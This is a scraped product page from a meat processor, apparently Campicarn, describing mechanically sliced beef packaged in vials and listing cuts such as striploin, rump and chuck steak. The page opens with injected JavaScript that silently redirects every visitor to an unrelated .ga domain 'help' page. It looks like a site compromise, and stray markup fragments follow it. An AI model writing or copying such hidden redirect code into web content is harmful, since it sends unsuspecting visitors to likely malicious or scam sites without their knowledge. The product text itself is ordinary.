window.location.replace("https://bharrefiridmestfoxt.ga/help/?15131619432237");window.location.href = "https://bharrefiridmestfoxt.ga/help/?15131619432237";lang="en-US" id="arve"> Thinly Sliced Meat – Campicarn

Thinly Sliced Meat

Thinly Sliced Meat

In the Central Processing Unit, fine cut standard parts are mechanically sliced, the meat is packaged in vials in a protective atmosphere weight and labeled with a fixed or variable production cadence of 80 vials per minute. Storage: 0ºC – 4ºC.

Striploin Steak

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Tenderloin Steak

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Cap of Rump

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Loins

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Rump Steak

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Beef Medallion

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Topside Steak

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Knuckle Steak

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Chuck Steak

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Fore Rib Steak

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Blade Steak

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